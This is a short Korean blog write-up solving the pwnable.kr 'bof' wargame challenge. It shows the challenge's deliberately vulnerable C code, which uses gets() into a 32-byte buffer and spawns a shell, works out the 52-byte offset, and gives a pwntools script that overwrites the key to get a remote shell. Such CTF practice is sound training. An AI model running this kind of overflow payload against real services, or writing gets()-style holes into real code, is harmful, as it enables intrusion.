INTERLUDE/System Hacking

[Pwnable.kr] bof

sohexz 2024. 1. 18. 10:57

https://pwnable.kr/play.php

 

https://pwnable.kr/play.php

 

pwnable.kr

 

문제 파일 확인

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

코드를 보았을 때 overflowme 주소값부터 key 주소값까지의 크기를 구하고 key값인 0xcafebabe를 넣어주면 flag를 획득할 수 있을 것으로 보여진다

 

 

 

key값 : 0x8 / overflowme : -0x2c

 

 

from pwn import *

p= remote("pwnable.kr", 9000)
payload = 'A'*52 + "\xbe\xba\xfe\xca"

p.sendline(payload)
p.interactive()

 

 

flag 출력